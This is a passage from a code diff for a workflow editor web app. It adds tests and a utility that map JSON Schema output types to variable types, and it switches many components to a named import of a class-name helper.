+      })
+
+      it('should resolve object type', () => {
+        const result = resolveVarType({ type: 'object' })
+        expect(result.type).toBe(VarType.object)
+      })
+    })
+
+    describe('array types', () => {
+      it('should resolve array of strings to arrayString', () => {
+        const result = resolveVarType({
+          type: 'array',
+          items: { type: 'string' },
+        })
+        expect(result.type).toBe(VarType.arrayString)
+      })
+
+      it('should resolve array of numbers to arrayNumber', () => {
+        const result = resolveVarType({
+          type: 'array',
+          items: { type: 'number' },
+        })
+        expect(result.type).toBe(VarType.arrayNumber)
+      })
+
+      it('should resolve array of integers to arrayNumber', () => {
+        const result = resolveVarType({
+          type: 'array',
+          items: { type: 'integer' },
+        })
+        expect(result.type).toBe(VarType.arrayNumber)
+      })
+
+      it('should resolve array of booleans to arrayBoolean', () => {
+        const result = resolveVarType({
+          type: 'array',
+          items: { type: 'boolean' },
+        })
+        expect(result.type).toBe(VarType.arrayBoolean)
+      })
+
+      it('should resolve array of objects to arrayObject', () => {
+        const result = resolveVarType({
+          type: 'array',
+          items: {
+            type: 'object',
+            properties: {
+              id: { type: 'string' },
+              name: { type: 'string' },
+            },
+          },
+        })
+        expect(result.type).toBe(VarType.arrayObject)
+      })
+
+      it('should resolve array without items to generic array', () => {
+        const result = resolveVarType({ type: 'array' })
+        expect(result.type).toBe(VarType.array)
+      })
+    })
+
+    describe('complex schema - user scenario (tags field)', () => {
+      it('should correctly resolve tags array with object items', () => {
+        // This is the exact schema from the user's issue
+        const tagsSchema = {
+          type: 'array',
+          description: '标签数组',
+          items: {
+            type: 'object',
+            properties: {
+              id: {
+                type: 'string',
+                description: '标签ID',
+              },
+              k: {
+                type: 'number',
+                description: '标签类型',
+              },
+              group: {
+                type: 'number',
+                description: '标签分组',
+              },
+            },
+          },
+        }
+
+        const result = resolveVarType(tagsSchema)
+        expect(result.type).toBe(VarType.arrayObject)
+      })
+    })
+
+    describe('nullable types', () => {
+      it('should handle nullable string type', () => {
+        const result = resolveVarType({ type: ['string', 'null'] })
+        expect(result.type).toBe(VarType.string)
+      })
+
+      it('should handle nullable array type', () => {
+        const result = resolveVarType({
+          type: ['array', 'null'],
+          items: { type: 'string' },
+        })
+        expect(result.type).toBe(VarType.arrayString)
+      })
+    })
+
+    describe('unknown types', () => {
+      it('should resolve unknown type to any', () => {
+        const result = resolveVarType({ type: 'unknown_type' })
+        expect(result.type).toBe(VarType.any)
+      })
+
+      it('should resolve empty schema to any', () => {
+        const result = resolveVarType({})
+        expect(result.type).toBe(VarType.any)
+      })
+    })
+
+    describe('file types via schemaType', () => {
+      it('should resolve object with file schemaType to file', () => {
+        const result = resolveVarType({
+          type: 'object',
+          schema_type: 'file',
+        })
+        expect(result.type).toBe(VarType.file)
+        expect(result.schemaType).toBe('file')
+      })
+
+      it('should resolve array of files to arrayFile', () => {
+        const result = resolveVarType({
+          type: 'array',
+          items: {
+            type: 'object',
+            schema_type: 'file',
+          },
+        })
+        expect(result.type).toBe(VarType.arrayFile)
+      })
+    })
+
+    describe('nested arrays', () => {
+      it('should handle array of arrays as generic array', () => {
+        const result = resolveVarType({
+          type: 'array',
+          items: {
+            type: 'array',
+            items: { type: 'string' },
+          },
+        })
+        // Nested arrays fall back to generic array type
+        expect(result.type).toBe(VarType.array)
+      })
+    })
+  })
+})
diff --git a/web/app/components/workflow/nodes/tool/components/input-var-list.tsx b/web/app/components/workflow/nodes/tool/components/input-var-list.tsx
index eb53979197..605cbab75e 100644
--- a/web/app/components/workflow/nodes/tool/components/input-var-list.tsx
+++ b/web/app/components/workflow/nodes/tool/components/input-var-list.tsx
@@ -5,7 +5,7 @@ import { produce } from 'immer'
 import { useTranslation } from 'react-i18next'
 import type { ToolVarInputs } from '../types'
 import { VarType as VarKindType } from '../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { ToolWithProvider, ValueSelector, Var } from '@/app/components/workflow/types'
 import type { CredentialFormSchema } from '@/app/components/header/account-setting/model-provider-page/declarations'
 import { FormTypeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
diff --git a/web/app/components/workflow/nodes/tool/components/mixed-variable-text-input/index.tsx b/web/app/components/workflow/nodes/tool/components/mixed-variable-text-input/index.tsx
index fa50727123..98a88e5e0f 100644
--- a/web/app/components/workflow/nodes/tool/components/mixed-variable-text-input/index.tsx
+++ b/web/app/components/workflow/nodes/tool/components/mixed-variable-text-input/index.tsx
@@ -9,7 +9,7 @@ import type {
   NodeOutPutVar,
 } from '@/app/components/workflow/types'
 import { BlockEnum } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useStore } from '@/app/components/workflow/store'
 
 type MixedVariableTextInputProps = {
diff --git a/web/app/components/workflow/nodes/tool/default.ts b/web/app/components/workflow/nodes/tool/default.ts
index 5625a6c336..0fcd321a29 100644
--- a/web/app/components/workflow/nodes/tool/default.ts
+++ b/web/app/components/workflow/nodes/tool/default.ts
@@ -1,12 +1,13 @@
 import { genNodeMetaData } from '@/app/components/workflow/utils'
-import { BlockEnum, VarType } from '@/app/components/workflow/types'
-import type { NodeDefault, ToolWithProvider } from '../../types'
+import { BlockEnum } from '@/app/components/workflow/types'
+import type { NodeDefault, ToolWithProvider, Var } from '../../types'
 import type { ToolNodeType } from './types'
 import { VarType as VarKindType } from '@/app/components/workflow/nodes/tool/types'
 import { TOOL_OUTPUT_STRUCT } from '../../constants'
 import { CollectionType } from '@/app/components/tools/types'
 import { canFindTool } from '@/utils'
-import { getMatchedSchemaType } from '../_base/components/variable/use-match-schema-type'
+import { Type } from '../llm/types'
+import { resolveVarType } from './output-schema-utils'
 
 const i18nPrefix = 'workflow.errorMsg'
 
@@ -88,32 +89,26 @@ const nodeDefault: NodeDefault<ToolNodeType> = {
     const currCollection = currentTools.find(item => canFindTool(item.id, provider_id))
     const currTool = currCollection?.tools.find(tool => tool.name === payload.tool_name)
     const output_schema = currTool?.output_schema
-    let res: any[] = []
+    let res: Var[] = []
     if (!output_schema || !output_schema.properties) {
       res = TOOL_OUTPUT_STRUCT
     }
     else {
-      const outputSchema: any[] = []
+      const outputSchema: Var[] = []
       Object.keys(output_schema.properties).forEach((outputKey) => {
         const output = output_schema.properties[outputKey]
-        const dataType = output.type
-        const schemaType = getMatchedSchemaType(output, schemaTypeDefinitions)
-        let type = dataType === 'array'
-          ? `Array[${output.items?.type ? output.items.type.slice(0, 1).toLocaleLowerCase() + output.items.type.slice(1) : 'Unknown'}]`
-          : `${output.type ? output.type.slice(0, 1).toLocaleLowerCase() + output.type.slice(1) : 'Unknown'}`
-
-        if (type === VarType.object && schemaType === 'file')
-          type = VarType.file
+        const { type, schemaType } = resolveVarType(output, schemaTypeDefinitions)
 
         outputSchema.push({
           variable: outputKey,
           type,
-          description: output.description,
+          des: output.description,
           schemaType,
           children: output.type === 'object' ? {
             schema: {
-              type: 'object',
+              type: Type.object,
               properties: output.properties,
+              additionalProperties: false,
             },
           } : undefined,
         })
diff --git a/web/app/components/workflow/nodes/tool/output-schema-utils.ts b/web/app/components/workflow/nodes/tool/output-schema-utils.ts
new file mode 100644
index 0000000000..684ff0b29f
--- /dev/null
+++ b/web/app/components/workflow/nodes/tool/output-schema-utils.ts
@@ -0,0 +1,101 @@
+import { VarType } from '@/app/components/workflow/types'
+import { getMatchedSchemaType } from '../_base/components/variable/use-match-schema-type'
+import type { SchemaTypeDefinition } from '@/service/use-common'
+
+/**
+ * Normalizes a JSON Schema type to a simple string type.
+ * Handles complex schemas with oneOf, anyOf, allOf.
+ */
+export const normalizeJsonSchemaType = (schema: any): string | undefined => {
+  if (!schema) return undefined
+  const { type, properties, items, oneOf, anyOf, allOf } = schema
+
+  if (Array.isArray(type))
+    return type.find((item: string | null) => item && item !== 'null') || type[0]
+
+  if (typeof type === 'string')
+    return type
+
+  const compositeCandidates = [oneOf, anyOf, allOf]
+    .filter((entry): entry is any[] => Array.isArray(entry))
+    .flat()
+
+  for (const candidate of compositeCandidates) {
+    const normalized = normalizeJsonSchemaType(candidate)
+    if (normalized)
+      return normalized
+  }
+
+  if (properties)
+    return 'object'
+
+  if (items)
+    return 'array'
+
+  return undefined
+}
+
+/**
+ * Extracts the items schema from an array schema.
+ */
+export const pickItemSchema = (schema: any) => {
+  if (!schema || !schema.items)
+    return undefined
+  return Array.isArray(schema.items) ? schema.items[0] : schema.items
+}
+
+/**
+ * Resolves a JSON Schema to a VarType enum value.
+ * Properly handles array types by inspecting item types.
+ */
+export const resolveVarType = (
+  schema: any,
+  schemaTypeDefinitions?: SchemaTypeDefinition[],
+): { type: VarType; schemaType?: string } => {
+  const schemaType = getMatchedSchemaType(schema, schemaTypeDefinitions)
+  const normalizedType = normalizeJsonSchemaType(schema)
+
+  switch (normalizedType) {
+    case 'string':
+      return { type: VarType.string, schemaType }
+    case 'number':
+      return { type: VarType.number, schemaType }
+    case 'integer':
+      return { type: VarType.integer, schemaType }
+    case 'boolean':
+      return { type: VarType.boolean, schemaType }
+    case 'object':
+      if (schemaType === 'file')
+        return { type: VarType.file, schemaType }
+      return { type: VarType.object, schemaType }
+    case 'array': {
+      const itemSchema = pickItemSchema(schema)
+      if (!itemSchema)
+        return { type: VarType.array, schemaType }
+
+      const { type: itemType, schemaType: itemSchemaType } = resolveVarType(itemSchema, schemaTypeDefinitions)
+      const resolvedSchemaType = schemaType || itemSchemaType
+
+      if (itemSchemaType === 'file')
+        return { type: VarType.arrayFile, schemaType: resolvedSchemaType }
+
+      switch (itemType) {
+        case VarType.string:
+          return { type: VarType.arrayString, schemaType: resolvedSchemaType }
+        case VarType.number:
+        case VarType.integer:
+          return { type: VarType.arrayNumber, schemaType: resolvedSchemaType }
+        case VarType.boolean:
+          return { type: VarType.arrayBoolean, schemaType: resolvedSchemaType }
+        case VarType.object:
+          return { type: VarType.arrayObject, schemaType: resolvedSchemaType }
+        case VarType.file:
+          return { type: VarType.arrayFile, schemaType: resolvedSchemaType }
+        default:
+          return { type: VarType.array, schemaType: resolvedSchemaType }
+      }
+    }
+    default:
+      return { type: VarType.any, schemaType }
+  }
+}
diff --git a/web/app/components/workflow/nodes/trigger-webhook/components/generic-table.tsx b/web/app/components/workflow/nodes/trigger-webhook/components/generic-table.tsx
index 235593d7f3..eaf3f399d7 100644
--- a/web/app/components/workflow/nodes/trigger-webhook/components/generic-table.tsx
+++ b/web/app/components/workflow/nodes/trigger-webhook/components/generic-table.tsx
@@ -6,7 +6,7 @@ import Input from '@/app/components/base/input'
 import Checkbox from '@/app/components/base/checkbox'
 import { SimpleSelect } from '@/app/components/base/select'
 import { replaceSpaceWithUnderscoreInVarNameInput } from '@/utils/var'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 // Tiny utility to judge whether a cell value is effectively present
 const isPresent = (v: unknown): boolean => {
diff --git a/web/app/components/workflow/nodes/trigger-webhook/components/paragraph-input.tsx b/web/app/components/workflow/nodes/trigger-webhook/components/paragraph-input.tsx
index f3946f5d3d..b26238fdd1 100644
--- a/web/app/components/workflow/nodes/trigger-webhook/components/paragraph-input.tsx
+++ b/web/app/components/workflow/nodes/trigger-webhook/components/paragraph-input.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React, { useRef } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ParagraphInputProps = {
   value: string
diff --git a/web/app/components/workflow/nodes/trigger-webhook/types.ts b/web/app/components/workflow/nodes/trigger-webhook/types.ts
index d9632f20e1..90cfd40434 100644
--- a/web/app/components/workflow/nodes/trigger-webhook/types.ts
+++ b/web/app/components/workflow/nodes/trigger-webhook/types.ts
@@ -5,7 +5,8 @@ export type HttpMethod = 'GET' | 'POST' | 'PUT' | 'DELETE' | 'PATCH' | 'HEAD'
 export type ArrayElementType = 'string' | 'number' | 'boolean' | 'object'
 
 export const getArrayElementType = (arrayType: `array[${ArrayElementType}]`): ArrayElementType => {
-  const match = arrayType.match(/^array\[(.+)\]$/)
+  const arrayRegex = /^array\[(.+)\]$/
+  const match = arrayRegex.exec(arrayType)
   return (match?.[1] as ArrayElementType) || 'string'
 }
 
diff --git a/web/app/components/workflow/nodes/variable-assigner/components/add-variable/index.tsx b/web/app/components/workflow/nodes/variable-assigner/components/add-variable/index.tsx
index 09f44548ab..2f3ca14b5d 100644
--- a/web/app/components/workflow/nodes/variable-assigner/components/add-variable/index.tsx
+++ b/web/app/components/workflow/nodes/variable-assigner/components/add-variable/index.tsx
@@ -5,7 +5,7 @@ import {
 } from 'react'
 import { useVariableAssigner } from '../../hooks'
 import type { VariableAssignerNodeType } from '../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/nodes/variable-assigner/components/node-group-item.tsx b/web/app/components/workflow/nodes/variable-assigner/components/node-group-item.tsx
index e96475b953..540dfecfd9 100644
--- a/web/app/components/workflow/nodes/variable-assigner/components/node-group-item.tsx
+++ b/web/app/components/workflow/nodes/variable-assigner/components/node-group-item.tsx
@@ -19,7 +19,7 @@ import {
 import { filterVar } from '../utils'
 import AddVariable from './add-variable'
 import { isSystemVar } from '@/app/components/workflow/nodes/_base/components/variable/utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { isExceptionVariable } from '@/app/components/workflow/utils'
 import {
   VariableLabelInNode,
diff --git a/web/app/components/workflow/nodes/variable-assigner/components/node-variable-item.tsx b/web/app/components/workflow/nodes/variable-assigner/components/node-variable-item.tsx
index b4fc76d548..f891f44e7a 100644
--- a/web/app/components/workflow/nodes/variable-assigner/components/node-variable-item.tsx
+++ b/web/app/components/workflow/nodes/variable-assigner/components/node-variable-item.tsx
@@ -3,7 +3,7 @@ import {
   useMemo,
 } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { VarBlockIcon } from '@/app/components/workflow/block-icon'
 import { Line3 } from '@/app/components/base/icons/src/public/common'
 import { Variable02 } from '@/app/components/base/icons/src/vender/solid/development'
diff --git a/web/app/components/workflow/nodes/variable-assigner/panel.tsx b/web/app/components/workflow/nodes/variable-assigner/panel.tsx
index 67ec1020c3..a605808f95 100644
--- a/web/app/components/workflow/nodes/variable-assigner/panel.tsx
+++ b/web/app/components/workflow/nodes/variable-assigner/panel.tsx
@@ -6,7 +6,7 @@ import RemoveEffectVarConfirm from '../_base/components/remove-effect-var-confir
 import useConfig from './use-config'
 import type { VariableAssignerNodeType } from './types'
 import VarGroupItem from './components/var-group-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { NodePanelProps } from '@/app/components/workflow/types'
 import Split from '@/app/components/workflow/nodes/_base/components/split'
 import OutputVars, { VarItem } from '@/app/components/workflow/nodes/_base/components/output-vars'
diff --git a/web/app/components/workflow/note-node/index.tsx b/web/app/components/workflow/note-node/index.tsx
index 5a0b2677c1..6b81a0fe1f 100644
--- a/web/app/components/workflow/note-node/index.tsx
+++ b/web/app/components/workflow/note-node/index.tsx
@@ -20,7 +20,7 @@ import {
 import { THEME_MAP } from './constants'
 import { useNote } from './hooks'
 import type { NoteNodeType } from './types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const Icon = () => {
   return (
diff --git a/web/app/components/workflow/note-node/note-editor/plugins/link-editor-plugin/component.tsx b/web/app/components/workflow/note-node/note-editor/plugins/link-editor-plugin/component.tsx
index 2dcd2952a9..556b7409c7 100644
--- a/web/app/components/workflow/note-node/note-editor/plugins/link-editor-plugin/component.tsx
+++ b/web/app/components/workflow/note-node/note-editor/plugins/link-editor-plugin/component.tsx
@@ -20,7 +20,7 @@ import {
 } from '@remixicon/react'
 import { useStore } from '../../store'
 import { useLink } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 
 type LinkEditorComponentProps = {
diff --git a/web/app/components/workflow/note-node/note-editor/toolbar/color-picker.tsx b/web/app/components/workflow/note-node/note-editor/toolbar/color-picker.tsx
index 00f242f727..ccf70fdc90 100644
--- a/web/app/components/workflow/note-node/note-editor/toolbar/color-picker.tsx
+++ b/web/app/components/workflow/note-node/note-editor/toolbar/color-picker.tsx
@@ -4,7 +4,7 @@ import {
 } from 'react'
 import { NoteTheme } from '../../types'
 import { THEME_MAP } from '../../constants'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/note-node/note-editor/toolbar/command.tsx b/web/app/components/workflow/note-node/note-editor/toolbar/command.tsx
index b07989e587..1a1d8f20ec 100644
--- a/web/app/components/workflow/note-node/note-editor/toolbar/command.tsx
+++ b/web/app/components/workflow/note-node/note-editor/toolbar/command.tsx
@@ -12,7 +12,7 @@ import {
 } from '@remixicon/react'
 import { useStore } from '../store'
 import { useCommand } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 
 type CommandProps = {
diff --git a/web/app/components/workflow/note-node/note-editor/toolbar/font-size-selector.tsx b/web/app/components/workflow/note-node/note-editor/toolbar/font-size-selector.tsx
index 7b530c167c..b03e176482 100644
--- a/web/app/components/workflow/note-node/note-editor/toolbar/font-size-selector.tsx
+++ b/web/app/components/workflow/note-node/note-editor/toolbar/font-size-selector.tsx
@@ -2,7 +2,7 @@ import { memo } from 'react'
 import { RiFontSize } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { useFontSize } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/note-node/note-editor/toolbar/operator.tsx b/web/app/components/workflow/note-node/note-editor/toolbar/operator.tsx
index e994bc389a..8ba0ad4caf 100644
--- a/web/app/components/workflow/note-node/note-editor/toolbar/operator.tsx
+++ b/web/app/components/workflow/note-node/note-editor/toolbar/operator.tsx
@@ -4,7 +4,7 @@ import {
 } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiMoreFill } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ShortcutsName from '@/app/components/workflow/shortcuts-name'
 import {
   PortalToFollowElem,
diff --git a/web/app/components/workflow/operator/add-block.tsx b/web/app/components/workflow/operator/add-block.tsx
index c40f2277bb..d1c69ba63d 100644
--- a/web/app/components/workflow/operator/add-block.tsx
+++ b/web/app/components/workflow/operator/add-block.tsx
@@ -21,7 +21,7 @@ import {
 import { useHooksStore } from '../hooks-store'
 import { useWorkflowStore } from '../store'
 import TipPopup from './tip-popup'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockSelector from '@/app/components/workflow/block-selector'
 import type {
   OnSelectBlock,
diff --git a/web/app/components/workflow/operator/control.tsx b/web/app/components/workflow/operator/control.tsx
index 7f1225de86..636f83bb2d 100644
--- a/web/app/components/workflow/operator/control.tsx
+++ b/web/app/components/workflow/operator/control.tsx
@@ -26,7 +26,7 @@ import AddBlock from './add-block'
 import TipPopup from './tip-popup'
 import MoreActions from './more-actions'
 import { useOperator } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const Control = () => {
   const { t } = useTranslation()
diff --git a/web/app/components/workflow/operator/more-actions.tsx b/web/app/components/workflow/operator/more-actions.tsx
index 100df29560..52c81612da 100644
--- a/web/app/components/workflow/operator/more-actions.tsx
+++ b/web/app/components/workflow/operator/more-actions.tsx
@@ -11,7 +11,7 @@ import { RiExportLine, RiMoreFill } from '@remixicon/react'
 import { toJpeg, toPng, toSvg } from 'html-to-image'
 import { useNodesReadOnly } from '../hooks'
 import TipPopup from './tip-popup'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/operator/zoom-in-out.tsx b/web/app/components/workflow/operator/zoom-in-out.tsx
index 19d8eef463..703304c27c 100644
--- a/web/app/components/workflow/operator/zoom-in-out.tsx
+++ b/web/app/components/workflow/operator/zoom-in-out.tsx
@@ -22,7 +22,7 @@ import {
 import ShortcutsName from '../shortcuts-name'
 import Divider from '../../base/divider'
 import TipPopup from './tip-popup'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/panel-contextmenu.tsx b/web/app/components/workflow/panel-contextmenu.tsx
index 2ee69df671..8d0811f853 100644
--- a/web/app/components/workflow/panel-contextmenu.tsx
+++ b/web/app/components/workflow/panel-contextmenu.tsx
@@ -16,7 +16,7 @@ import {
 } from './hooks'
 import AddBlock from './operator/add-block'
 import { useOperator } from './operator/hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const PanelContextmenu = () => {
   const { t } = useTranslation()
diff --git a/web/app/components/workflow/panel/chat-variable-panel/components/array-bool-list.tsx b/web/app/components/workflow/panel/chat-variable-panel/components/array-bool-list.tsx
index 328a696e86..810d5ba5d5 100644
--- a/web/app/components/workflow/panel/chat-variable-panel/components/array-bool-list.tsx
+++ b/web/app/components/workflow/panel/chat-variable-panel/components/array-bool-list.tsx
@@ -7,7 +7,7 @@ import { produce } from 'immer'
 import RemoveButton from '@/app/components/workflow/nodes/_base/components/remove-button'
 import Button from '@/app/components/base/button'
 import BoolValue from './bool-value'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/workflow/panel/chat-variable-panel/components/variable-item.tsx b/web/app/components/workflow/panel/chat-variable-panel/components/variable-item.tsx
index 3e46b7afcb..54e8fc4f6c 100644
--- a/web/app/components/workflow/panel/chat-variable-panel/components/variable-item.tsx
+++ b/web/app/components/workflow/panel/chat-variable-panel/components/variable-item.tsx
@@ -3,7 +3,7 @@ import { capitalize } from 'lodash-es'
 import { RiDeleteBinLine, RiEditLine } from '@remixicon/react'
 import { BubbleX } from '@/app/components/base/icons/src/vender/line/others'
 import type { ConversationVariable } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type VariableItemProps = {
   item: ConversationVariable
diff --git a/web/app/components/workflow/panel/chat-variable-panel/components/variable-modal.tsx b/web/app/components/workflow/panel/chat-variable-panel/components/variable-modal.tsx
index 5e476027e9..15f8a081fb 100644
--- a/web/app/components/workflow/panel/chat-variable-panel/components/variable-modal.tsx
+++ b/web/app/components/workflow/panel/chat-variable-panel/components/variable-modal.tsx
@@ -15,7 +15,7 @@ import { useStore } from '@/app/components/workflow/store'
 import type { ConversationVariable } from '@/app/components/workflow/types'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
 import { ChatVarType } from '@/app/components/workflow/panel/chat-variable-panel/type'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BoolValue from './bool-value'
 import ArrayBoolList from './array-bool-list'
 import {
diff --git a/web/app/components/workflow/panel/chat-variable-panel/components/variable-type-select.tsx b/web/app/components/workflow/panel/chat-variable-panel/components/variable-type-select.tsx
index eea0ec2a90..360775a06c 100644
--- a/web/app/components/workflow/panel/chat-variable-panel/components/variable-type-select.tsx
+++ b/web/app/components/workflow/panel/chat-variable-panel/components/variable-type-select.tsx
@@ -6,7 +6,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   inCell?: boolean
diff --git a/web/app/components/workflow/panel/chat-variable-panel/index.tsx b/web/app/components/workflow/panel/chat-variable-panel/index.tsx
index 7006c18cc5..b075cabf5d 100644
--- a/web/app/components/workflow/panel/chat-variable-panel/index.tsx
+++ b/web/app/components/workflow/panel/chat-variable-panel/index.tsx
@@ -22,7 +22,7 @@ import { findUsedVarNodes, updateNodeVars } from '@/app/components/workflow/node
 import { useNodesSyncDraft } from '@/app/components/workflow/hooks/use-nodes-sync-draft'
 import { BlockEnum } from '@/app/components/workflow/types'
 import { useDocLink } from '@/context/i18n'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useInspectVarsCrud from '../../hooks/use-inspect-vars-crud'
 
 const ChatVariablePanel = () => {
diff --git a/web/app/components/workflow/panel/debug-and-preview/conversation-variable-modal.tsx b/web/app/components/workflow/panel/debug-and-preview/conversation-variable-modal.tsx
index 6cb0b92aad..043a842f23 100644
--- a/web/app/components/workflow/panel/debug-and-preview/conversation-variable-modal.tsx
+++ b/web/app/components/workflow/panel/debug-and-preview/conversation-variable-modal.tsx
@@ -20,7 +20,7 @@ import { ChatVarType } from '@/app/components/workflow/panel/chat-variable-panel
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
 import useTimestamp from '@/hooks/use-timestamp'
 import { fetchCurrentValueOfConversationVariable } from '@/service/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 export type Props = {
diff --git a/web/app/components/workflow/panel/debug-and-preview/index.tsx b/web/app/components/workflow/panel/debug-and-preview/index.tsx
index 9c64849dc5..7f8deb3a74 100644
--- a/web/app/components/workflow/panel/debug-and-preview/index.tsx
+++ b/web/app/components/workflow/panel/debug-and-preview/index.tsx
@@ -18,7 +18,7 @@ import { BlockEnum } from '../../types'
 import type { StartNodeType } from '../../nodes/start/types'
 import { useResizePanel } from '../../nodes/_base/hooks/use-resize-panel'
 import ChatWrapper from './chat-wrapper'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RefreshCcw01 } from '@/app/components/base/icons/src/vender/line/arrows'
 import Tooltip from '@/app/components/base/tooltip'
 import ActionButton, { ActionButtonState } from '@/app/components/base/action-button'
diff --git a/web/app/components/workflow/panel/debug-and-preview/user-input.tsx b/web/app/components/workflow/panel/debug-and-preview/user-input.tsx
index b7ed2a54fd..75acfac8b2 100644
--- a/web/app/components/workflow/panel/debug-and-preview/user-input.tsx
+++ b/web/app/components/workflow/panel/debug-and-preview/user-input.tsx
@@ -9,7 +9,7 @@ import {
   useWorkflowStore,
 } from '../../store'
 import type { StartNodeType } from '../../nodes/start/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const UserInput = () => {
   const workflowStore = useWorkflowStore()
diff --git a/web/app/components/workflow/panel/env-panel/env-item.tsx b/web/app/components/workflow/panel/env-panel/env-item.tsx
index 33ed45cb67..f0afe4d6d0 100644
--- a/web/app/components/workflow/panel/env-panel/env-item.tsx
+++ b/web/app/components/workflow/panel/env-panel/env-item.tsx
@@ -4,7 +4,7 @@ import { RiDeleteBinLine, RiEditLine, RiLock2Line } from '@remixicon/react'
 import { Env } from '@/app/components/base/icons/src/vender/line/others'
 import { useStore } from '@/app/components/workflow/store'
 import type { EnvironmentVariable } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type EnvItemProps = {
   env: EnvironmentVariable
diff --git a/web/app/components/workflow/panel/env-panel/index.tsx b/web/app/components/workflow/panel/env-panel/index.tsx
index 135f5814ec..47aeb94b47 100644
--- a/web/app/components/workflow/panel/env-panel/index.tsx
+++ b/web/app/components/workflow/panel/env-panel/index.tsx
@@ -16,7 +16,7 @@ import type {
 } from '@/app/components/workflow/types'
 import { findUsedVarNodes, updateNodeVars } from '@/app/components/workflow/nodes/_base/components/variable/utils'
 import RemoveEffectVarConfirm from '@/app/components/workflow/nodes/_base/components/remove-effect-var-confirm'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useNodesSyncDraft } from '@/app/components/workflow/hooks/use-nodes-sync-draft'
 
 const EnvPanel = () => {
diff --git a/web/app/components/workflow/panel/env-panel/variable-modal.tsx b/web/app/components/workflow/panel/env-panel/variable-modal.tsx
index 1c780f7341..acf3ca0a0b 100644
--- a/web/app/components/workflow/panel/env-panel/variable-modal.tsx
+++ b/web/app/components/workflow/panel/env-panel/variable-modal.tsx
@@ -9,7 +9,7 @@ import Tooltip from '@/app/components/base/tooltip'
 import { ToastContext } from '@/app/components/base/toast'
 import { useStore } from '@/app/components/workflow/store'
 import type { EnvironmentVariable } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { checkKeys, replaceSpaceWithUnderscoreInVarNameInput } from '@/utils/var'
 
 export type ModalPropsType = {
diff --git a/web/app/components/workflow/panel/global-variable-panel/index.tsx b/web/app/components/workflow/panel/global-variable-panel/index.tsx
index a421a1605a..ab7cf4708b 100644
--- a/web/app/components/workflow/panel/global-variable-panel/index.tsx
+++ b/web/app/components/workflow/panel/global-variable-panel/index.tsx
@@ -7,7 +7,7 @@ import type { GlobalVariable } from '../../types'
 import Item from './item'
 import { useStore } from '@/app/components/workflow/store'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import { useIsChatMode } from '../../hooks'
 import { isInWorkflowPage } from '../../constants'
diff --git a/web/app/components/workflow/panel/global-variable-panel/item.tsx b/web/app/components/workflow/panel/global-variable-panel/item.tsx
index 5185c1bead..c88222efb4 100644
--- a/web/app/components/workflow/panel/global-variable-panel/item.tsx
+++ b/web/app/components/workflow/panel/global-variable-panel/item.tsx
@@ -3,7 +3,7 @@ import { capitalize } from 'lodash-es'
 import { GlobalVariable as GlobalVariableIcon } from '@/app/components/base/icons/src/vender/line/others'
 
 import type { GlobalVariable } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
